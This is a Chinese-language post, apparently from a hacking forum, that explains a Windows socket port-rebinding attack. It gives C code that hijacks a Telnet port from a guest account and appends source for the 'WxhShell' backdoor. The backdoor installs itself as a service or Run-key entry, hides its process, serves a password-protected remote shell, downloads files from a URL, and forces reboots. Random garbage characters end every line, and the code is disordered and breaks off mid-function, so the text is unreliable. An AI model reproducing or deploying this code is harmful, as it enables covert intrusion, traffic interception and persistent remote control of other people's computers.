static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P\1L7%*lU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ hZ0IM
XAF+0 x!
HANDLE hProcess; Mygf T[_
PROCESS_BASIC_INFORMATION pbi; t/VD31
x!5'`A!W%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (|klSz_4LM
if(NULL == hInst ) return 0; ]>=}*=
UQ?XqgUM
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A kC1z73<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n"G&ENN"$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C~2F9Pg
Qz5sxi
if (!NtQueryInformationProcess) return 0; 2$+bJJM
6dabU*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J?? -j
if(!hProcess) return 0; ,(qRc(Ho
)dbB =OZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \^L`7cBL
*|%@6I(
CloseHandle(hProcess); 7K,-01-:
vK|E>nL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,J,/."Y
if(hProcess==NULL) return 0; I`-8Air5f
-]/I73!b
HMODULE hMod; 0^I|u t4
char procName[255]; \KMToN&2
unsigned long cbNeeded; -lbm* -(
ALrw\qV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xe6w|
N60rgSzI
CloseHandle(hProcess); `eE&5.
R Q vft
if(strstr(procName,"services")) return 1; // 以服务启动 (D#B_`;-
Gw>^[dmt!
return 0; // 注册表启动 xSktg]u Se
} &+Z,hs9%
msP{l^%0
// 主模块 B:5Rr}eY+
int StartWxhshell(LPSTR lpCmdLine) `NCwK6/i
{ JlH&??
SOCKET wsl; ',Y.v"']4
BOOL val=TRUE; }YB*]<]
int port=0; l)G^cSHF.3
struct sockaddr_in door; 'FqQzx"r
}SX,^|eN
if(wscfg.ws_autoins) Install(); )2Wi `ZT
Rn}l6kbM
port=atoi(lpCmdLine); -e_hrCW&9
<Wfx+F
if(port<=0) port=wscfg.ws_port; RHmgD;7`
m_.>C
WSADATA data; d ^^bke$~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kh {p%<r{
1;C+$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #yI mKEYX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F20E_2;@@
door.sin_family = AF_INET; 5*+!+V^?X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g l^<Q
door.sin_port = htons(port); /M|2 62%
h}*/Ge]aM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,=UK}*e"
closesocket(wsl); mkYqpD7
return 1;
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iIWz\FM
iq'hel
saddr.sin_family = AF_INET; OI0#@_L&
Y+5nn
saddr.sin_addr.s_addr = htonl(INADDR_ANY); v5 STe`
A;~lG3j4
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G|eY$5!i
&KinCh7l L
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YjaEKM8*
+>3XJlZV
这意味着什么?意味着可以进行如下的攻击: >i^8K U
K;,zE6WD$$
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 48;6C g
*J[3f]PBmR
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7)&}riQ
]WlE9z7:8
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]D(!ua5|x`
8m% +O#
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n8W+q~sW%
lAjP'(
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W/03L, 1
/{Ff)<Q.Z
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~ *:{U
/^_~NF#
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! 6y<jJ>
'a]4]d
#include z&fXxp
#include <dzfD;
#include j7LuN
#include kb"g
DWORD WINAPI ClientThread(LPVOID lpParam); L~x PIu
int main() Rb!|2h)
{ `re9-HM
WORD wVersionRequested; 1Z9_sd~/6
DWORD ret; s?qRy 2
WSADATA wsaData; k^A17Nf`2
BOOL val; &.dC%
SOCKADDR_IN saddr; sK1YmB :~a
SOCKADDR_IN scaddr; q. zBm@:
int err; LJ^n6 m|_
SOCKET s; ii0{$}eoh
SOCKET sc; 8:W," "
int caddsize; _8*}S=
HANDLE mt; E0F8FR'
DWORD tid; Cs2hi,s
wVersionRequested = MAKEWORD( 2, 2 ); QU`M5{#
err = WSAStartup( wVersionRequested, &wsaData ); N0Y$QWr_$
if ( err != 0 ) { xZmO^F5KHj
printf("error!WSAStartup failed!\n"); 5U%J,W
return -1; $!~R'N c
} `2}Frw+?
saddr.sin_family = AF_INET; kNC.^8ryz[
<Mdyz!
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M:%6$``
(#|CL/&
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i5f8}`w
saddr.sin_port = htons(23); (s:ihpI
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X@ zw;Se
{ GM1z@i\5
printf("error!socket failed!\n"); R`IFKmA EJ
return -1; Xv1 SRP#
} Y]zy=8q
val = TRUE; sj;n1t}$S
//SO_REUSEADDR选项就是可以实现端口重绑定的 {P'_s ]B)
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @W4tnM,#
{ {B!LhvYAH
printf("error!setsockopt failed!\n"); xj6@85^
return -1; zmA]@'j
} )[t zAaP7
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %anY'GK
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5%qq#;[ n
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _H,xnh#nZ
jOkc'
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J?oI%r7^
{ t zTnFV
ret=GetLastError(); 1g{-DIOmn
printf("error!bind failed!\n"); Po)!vL"
return -1; Ipp#{'Do
} + :IwP
listen(s,2); Qkvg85
while(1) KT 4h3D`,
{ 1Fg*--8[r
caddsize = sizeof(scaddr); ;u(#-C2^{l
//接受连接请求 bp[wr
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X7bS{GT
if(sc!=INVALID_SOCKET) 5[[mS
{ RXi/&'+H
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?rJe"TOIy
if(mt==NULL) rW P -Rm
{ |3bCq(ZR\P
printf("Thread Creat Failed!\n"); +55+%oGl
break; ^t$xR_
} A_4.>g
} ;u@& [
CloseHandle(mt); HM]mOmL90N
} LmZ"_
closesocket(s); "c5bz
WSACleanup(); pBxyq"z
return 0; iW9o-W a
} A<U9$"j9J
DWORD WINAPI ClientThread(LPVOID lpParam) Mb^E
{ r$cq2pkX
SOCKET ss = (SOCKET)lpParam; 3FgTM(
SOCKET sc; Q H 57[Yg
unsigned char buf[4096]; aGml!N5'
SOCKADDR_IN saddr; g}OZ!mKd
long num; I^l\<1"]
DWORD val; wj{[g^y%
DWORD ret; :pCv!g2
//如果是隐藏端口应用的话,可以在此处加一些判断 (3Dz'X
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Fl}{"eCF8
saddr.sin_family = AF_INET; NZL$#bRB
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eUVhNg
saddr.sin_port = htons(23); iF*L-
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l 2ARM3"
{ b[rVr J
printf("error!socket failed!\n"); 60#eTo?}o
return -1; l{mC|8X
} =k]2 Ad
val = 100; -R-yr.$j*
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E<[ Y KY
{ t`")Re_j
ret = GetLastError(); 6 hiWgbE
return -1; /^sk y!
} Bp-e<:
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fv-~v&
{ Tn"^`\m
ret = GetLastError(); hjq@ .5
return -1; \IP 9EFA
} ;~GBD]
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i:|e#$x
{ s8 5l
printf("error!socket connect failed!\n"); !;Vqs/E
closesocket(sc); dC>(UDC
closesocket(ss); >o1,Y&
return -1; 2j&0U!DX
} >BZ,g!N,J}
while(1) @a i2A|
{ NwN3T]W
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3qkPe_<I
//如果是嗅探内容的话,可以再此处进行内容分析和记录 )|6OPR@(#/
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jAdZS\?w
num = recv(ss,buf,4096,0); !j/54,
if(num>0) >P ~j@Lv
send(sc,buf,num,0); uann'ho?q
else if(num==0) [r1dgwh8
break; 1&RB=7.h
num = recv(sc,buf,4096,0); ar _@"+tZ
if(num>0) *i {e$Zv'
send(ss,buf,num,0); &$ fyY:<\
else if(num==0) @0V4$OoFl
break; KQ^|prN?y
} qJE_4/<^!
closesocket(ss); /!%?I#K{Wq
closesocket(sc); ?R_fg
return 0 ; }tL]EW^
} R$`%<Y3)
&eb8k2S
5,+fM6^V
========================================================== AH?[K,3
qP-_xpu]R
下边附上一个代码,,WXhSHELL w3#0kl
~14|y|\/
========================================================== 4"UH~A;^
J50n E~
#include "stdafx.h" 1'P4{T0 [
,~/WYw<o
#include <stdio.h> Q5A,9ovNZ
#include <string.h> P/xE n_*v
#include <windows.h> `KZu/r-M9
#include <winsock2.h> m6'9Id-:L
#include <winsvc.h> MS:,I?
#include <urlmon.h> ]$#9B-uB
wR,}#m,
#pragma comment (lib, "Ws2_32.lib") V5p^]To!
#pragma comment (lib, "urlmon.lib") RI+Y+z
AxeQv'e
#define MAX_USER 100 // 最大客户端连接数 e.^?hwl
#define BUF_SOCK 200 // sock buffer ohs`[U=%~
#define KEY_BUFF 255 // 输入 buffer L)4~:f)B
7w]3D
#define REBOOT 0 // 重启 p]<)6sZ
#define SHUTDOWN 1 // 关机 C/QrkTi=
YWJ$Pp
#define DEF_PORT 5000 // 监听端口 K#'$_0.
KYwUkuw)
#define REG_LEN 16 // 注册表键长度 aX zb]">
#define SVC_LEN 80 // NT服务名长度 MK1#^9Zr
`7'^y
// 从dll定义API ,F*HZBNFZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~d3@x\I?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R4T@ ]l&W
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UG_ PrZd
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pt cq/f
}p-/R'
// wxhshell配置信息 =CD.pw)B1
struct WSCFG { ;(jL`L F
int ws_port; // 监听端口 >56fa6=3@
char ws_passstr[REG_LEN]; // 口令 Z:Vde^Ih
int ws_autoins; // 安装标记, 1=yes 0=no s diWQv
char ws_regname[REG_LEN]; // 注册表键名 ^FQn\,
char ws_svcname[REG_LEN]; // 服务名 /I1n${{5
char ws_svcdisp[SVC_LEN]; // 服务显示名 Ju&FwY+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qa\,)<'D:
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PIXqd,
int ws_downexe; // 下载执行标记, 1=yes 0=no /R?[/`)f&
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VbMud]40F
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bfEH>pQ>#
$}0!dR2
}; $Ff6nc=
e M5-v-
// default Wxhshell configuration /OB)\{-
struct WSCFG wscfg={DEF_PORT, /er{sKVX<
"xuhuanlingzhe", l_$>$d
1, EVBOubV
"Wxhshell", n qx0#_K-E
"Wxhshell", 8a]g>g
"WxhShell Service", )4-!]NsV
"Wrsky Windows CmdShell Service", (d@(QJ
"Please Input Your Password: ", 98| v.d
1, )V+/@4
"http://www.wrsky.com/wxhshell.exe", n7Bv~?DM
"Wxhshell.exe" 0UW_ Pbh6
}; !fd>wvJ,:
;K|K]c
// 消息定义模块 ujN~l_ 4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w1(5,~OB
char *msg_ws_prompt="\n\r? for help\n\r#>"; y29G#Y4J
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lq]8zm<\)]
char *msg_ws_ext="\n\rExit."; | oM`
char *msg_ws_end="\n\rQuit."; w-$iKtb.
char *msg_ws_boot="\n\rReboot..."; :xq{\"r
char *msg_ws_poff="\n\rShutdown..."; .iP>?9$f"
char *msg_ws_down="\n\rSave to "; )*6
ZREy I(_
char *msg_ws_err="\n\rErr!"; VAjl?\}6
char *msg_ws_ok="\n\rOK!"; \ZhkOl
ahZ@4v
char ExeFile[MAX_PATH]; _A& [rBm|
int nUser = 0; mA%}ijR6y
HANDLE handles[MAX_USER]; ;;rx)|\<R
int OsIsNt; xluA jOQ6
Wd(|w8J{a
SERVICE_STATUS serviceStatus; fk6=;{
SERVICE_STATUS_HANDLE hServiceStatusHandle; yw%E S
7mv([}Va
// 函数声明 $G}k'[4C
int Install(void); $sb@*K}:4
int Uninstall(void); Q>;Aq!mr=
int DownloadFile(char *sURL, SOCKET wsh); zL50|U0H
int Boot(int flag); I7SFGO
void HideProc(void); w 8cnSO
int GetOsVer(void); mr_NArF
int Wxhshell(SOCKET wsl); n!~QC
void TalkWithClient(void *cs); KyDd( 'i
int CmdShell(SOCKET sock); y,KZp2 j
int StartFromService(void); #Q_<eo%lI*
int StartWxhshell(LPSTR lpCmdLine); CI \O)iB
'Cz]p~oF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VC Ay~,
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {- MhhRa5
[Q6$$z92Q
// 数据结构和表定义 zH~g5xgh
SERVICE_TABLE_ENTRY DispatchTable[] = (U.VCSn
{ s-&i!d
{wscfg.ws_svcname, NTServiceMain}, KM^}d$x}s
{NULL, NULL} +, rm
}; y|9 LtQ
-wNhbV2
// 自我安装 HC>k/Gk"
int Install(void) K #JO#
{ qe0ZM-C_
char svExeFile[MAX_PATH]; ?ia O6HD
HKEY key; q^@*k,HG
strcpy(svExeFile,ExeFile); pf=CP%L
w %6 L"
// 如果是win9x系统,修改注册表设为自启动 IY(;:#l
if(!OsIsNt) { ]tbl1=|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1py >[II@
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9!D c=
RegCloseKey(key); 3);W gh6
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'`*Sce}
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Ak>/QF9
RegCloseKey(key); gkx<<)y l
return 0; Vt4,?"
} cn_*,\}
} N$8"X-na?
} *AYjMCo
else { <L3ig%#B
\3j4=K'nE
// 如果是NT以上系统,安装为系统服务 xn7bb[g;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +n<;);h
if (schSCManager!=0) G0x!:[
{ @'?7au ''
SC_HANDLE schService = CreateService 88atj+N]
( sRGIHT#
schSCManager, Y2y = P
wscfg.ws_svcname, 9 J~KM=p
wscfg.ws_svcdisp, Dt+u f5o(
SERVICE_ALL_ACCESS, _,|N`BBqd
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0J9Ub
SERVICE_AUTO_START, L>2gx$f
SERVICE_ERROR_NORMAL, ",Fqpu&M
svExeFile, p/&s-G F
NULL, 0]t7(P"F6
NULL, 1VO>Bh.Wm
NULL, * n>YS
NULL, je~gk6}Y
NULL ~C;gEE-
); o_%gFV[q
if (schService!=0) uF\f>E)/N%
{ w,zgYX&
CloseServiceHandle(schService); CKRnkTTiV
CloseServiceHandle(schSCManager); i@spd5.
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?O#,|\v?]
strcat(svExeFile,wscfg.ws_svcname); Qx}hiv/
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W!WeYV}kb
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {,CvWL
RegCloseKey(key); 1 gx(L*y,
return 0; q#!c6lG
} /kK:{
} Av^<_`L :
CloseServiceHandle(schSCManager); ( G#W6
} ! V;glx[
} Nc[V kJ]
/2e,,)4g
return 1; :~+m9r
} .LHzaeJCX
G .k\N(l
// 自我卸载 2XGbqZj
int Uninstall(void) `tZ`a
{ GjvTYg~
HKEY key; _q dLA
@Tg +Kt
if(!OsIsNt) { b9@VD)J0E
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T hLR<\
RegDeleteValue(key,wscfg.ws_regname); v&*}O
RegCloseKey(key); $*i"rlJC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !2Q>
RegDeleteValue(key,wscfg.ws_regname); !u=,bfyH
RegCloseKey(key); Um'r6ty
return 0; ngHPOI16
} '+{dr\nJ
} Co#_Cyxg=9
} 86,$ I+
else { Tx'ctd#Y
@|GKNW#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {<3>^ o|"
if (schSCManager!=0) AE"E($S`
{ `F<[\@\d5
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ew kZzVuX
if (schService!=0) @0>3))
{ ?hQ,'M2
if(DeleteService(schService)!=0) { !bi}9w
CloseServiceHandle(schService); ].eY]o}=
CloseServiceHandle(schSCManager); MYb^ILz H3
return 0; 0w_2E
} dn1Tu6f;|
CloseServiceHandle(schService); !F|iL
} >xt*(j&}
CloseServiceHandle(schSCManager); S-Y(Vn4
} ^:RDu q
} z4nVsgQ$
69v[* InSd
return 1; Y{8L ~U:
} DjT ekn
_ z!0ab
// 从指定url下载文件 [i'\d}
int DownloadFile(char *sURL, SOCKET wsh) N3};M~\
{ 79^on8k}
HRESULT hr; +(3PY e\
char seps[]= "/"; iK"j@1|
char *token; ~%Ws"1
char *file; ^j2:fJOU#
char myURL[MAX_PATH]; ^/Hj^4~_U
char myFILE[MAX_PATH]; ]'aG oR
_OF 8D
strcpy(myURL,sURL); t3/!esay
token=strtok(myURL,seps); n#N<zC/
while(token!=NULL) RU `TzD
{ l!ye\
file=token; IEzZ$9,A5
token=strtok(NULL,seps); )_EobE\
} tS2lex%
pAmTwe
GetCurrentDirectory(MAX_PATH,myFILE); q<JI!n1O
strcat(myFILE, "\\"); ej<z]{`05
strcat(myFILE, file); qc\o>$-:`
send(wsh,myFILE,strlen(myFILE),0); YA^9, q6u?
send(wsh,"...",3,0); &TbnZnv
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VH*j3
if(hr==S_OK) PJ Air8
return 0; 73xI8
else fWm;cDM H
return 1; ijhMJ?3
`hlyN]L
} "<O?KO 3K
1shvHmrV
// 系统电源模块 n6o}$]H
int Boot(int flag) 1<R \V
{ E/GI:}YUy_
HANDLE hToken; _X.M,id
TOKEN_PRIVILEGES tkp; SyYa_=En
3YT _GW{
if(OsIsNt) { 3 oWCQ
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bv=Z*"Fv
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HRw,D=
tkp.PrivilegeCount = 1; b'{D4/
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sU}e78mh
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W4YC5ZH{l
if(flag==REBOOT) { 03#_ (
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )US) -\^
return 0; ]CL70+[^9
} l/I W"A
else { dvj`%?=
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \m.{^Xd~
return 0; p{U8z\
} n_+Iw,a'm
} }gn0bCJy
else { UmJg-~
if(flag==REBOOT) { D6m>>&E['
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;}PL/L$L6;
return 0; fAm2ls7c
} ~.Gk:M
else { P6?Q;-\q0
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BxG;vS3>*e
return 0; &KB{,:)?
} \E30.>%,
} _1Eyqh`oh
93rE5eGs
return 1; Ylf4q/-
} dvf*w:5K!
Nf~<xK
// win9x进程隐藏模块 prWid3}
void HideProc(void) {xr]xcM'b
{ bM'AD[
3m^BYr*y^
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1l(
if ( hKernel != NULL ) )<|TEp4r-
{ y/ FisX
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); We ->d |=
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p%s D>1k
FreeLibrary(hKernel); (X9V-4
} 9NT;^K^ I
Q^k# ?j#
return; 7I|%GA_
} ^ WNJQg'
Q@8[ql1l
// 获取操作系统版本 B'Wky>5)
int GetOsVer(void) 9ZBF1sMg
{ 8syo_sC |
OSVERSIONINFO winfo; /K^cU;E,
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BUb(BzC
GetVersionEx(&winfo); <}%ir,8
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nR7\ o(!
return 1; $c}0L0
else x}{VHp`|ld
return 0; )hug<D *h
} {#,FlR2
Ro<kp8
// 客户端句柄模块 k 3 l
int Wxhshell(SOCKET wsl) G)&'8W F5o
{ -e~U u
SOCKET wsh; aJ8pJ{,P
struct sockaddr_in client; >|?T|
DWORD myID; +&OqJAu
blcKtrYg
while(nUser<MAX_USER) A ? M]5d
{ >K :"[?
int nSize=sizeof(client); iIE(zw)H
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j&A3s{S4A
if(wsh==INVALID_SOCKET) return 1; s3{s.55{m
_m],(J=,z
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |l xy< C4V
if(handles[nUser]==0) 6>:~?gs
closesocket(wsh); (:QQ7xc{}
else #[y<h3f]
nUser++; T3./V0]\I
} = O1;vc}AA
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wy {>gvqK
oDP((I2-
return 0; jJ!-hg4?]
} Rt^<xXX$
z,FTsR$x
// 关闭 socket /;AZ/Ocy!
void CloseIt(SOCKET wsh) P0e""9JOo
{ lt6;*z[
closesocket(wsh); *frJ^ Ws{
nUser--; [Cj}nld
ExitThread(0); W[E3P,XS
} K3:|Tc(
&3Z. #*
// 客户端请求句柄 oNB,.:
void TalkWithClient(void *cs) EB5_;
{ dAr)%RZ
kq~[k.
SOCKET wsh=(SOCKET)cs; !I5~))E
char pwd[SVC_LEN]; i9eyrl+!
char cmd[KEY_BUFF]; i*CQor6|z
char chr[1]; q|o |/O-{
int i,j; 4su_;+]
D!}K)T1~R
while (nUser < MAX_USER) { <D!c ~*[
XDkS ^9
if(wscfg.ws_passstr) { %gu$_S
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B9e.-Xaf
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^'&iYV
//ZeroMemory(pwd,KEY_BUFF); /*AJr
i=0; #_?TIY:h
while(i<SVC_LEN) { e" Eqi-
mT6q}``vtG
// 设置超时 .3a:n\tY
fd_set FdRead; 6KEykw j
struct timeval TimeOut; \ I^nx+l
FD_ZERO(&FdRead); DhLr^Z!h3;
FD_SET(wsh,&FdRead); )d}H>Qx=
TimeOut.tv_sec=8; T+;H#&
TimeOut.tv_usec=0; > 'aG /(
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }UKgF.
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '7Mep ]
Cs:+93w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q`S iV
pwd=chr[0]; |5=~(-I>@
if(chr[0]==0xd || chr[0]==0xa) { [x!i* rW3
pwd=0; #y=ZP:{:t
break; EkJVFHfh
} =U4f}W;
i++; {ExII<=6
} & u$(NbK
fav5e'[$
// 如果是非法用户,关闭 socket 59{;VY81
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ rQMD^:M$
} )v%l0_z{
f).*NX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t<sp%zXZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JY{X,?s
In f9wq\
while(1) { "\}b!gl$8
GI4?|@%vD!
ZeroMemory(cmd,KEY_BUFF); M_k`%o
w{PUj
// 自动支持客户端 telnet标准 h`=r )D
j=0; 9Ei5z6Vk/+
while(j<KEY_BUFF) { d9O:,DKf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }N?g|
cmd[j]=chr[0]; R7lYu\mA
if(chr[0]==0xa || chr[0]==0xd) { o`idg[l.
cmd[j]=0; Qh*)pt]n
break; ~i% -WX
} vX ?aB!nkw
j++; * -0>3
} w&%9IJ
tww=~!
// 下载文件 FC{})|yh }
if(strstr(cmd,"http://")) { PSPTL3_~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pb#P`L7OB
if(DownloadFile(cmd,wsh)) I_ONbJ9]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2`EVdl7B]
else ?ty>}.c t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F>*{e
} k0JW[04j
else { =J](.78
*Ddi(`
switch(cmd[0]) { u"`*DFjo*
Fk{J@Y
// 帮助 >TY6O.]
case '?': { :|rPT)yT]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eNbpwne
break; +y/55VLq
} ziiwxx_
// 安装 A (okv
case 'i': { -}P7$|O &
if(Install()) _|A+ ) K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22&;jpL'?
else gv|"OlB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQ1 v# Z
break; `:p1&OS
} lq>AGw
// 卸载 0J9D"3T)
case 'r': { @}&_Dvf
if(Uninstall()) O6X"RsI}
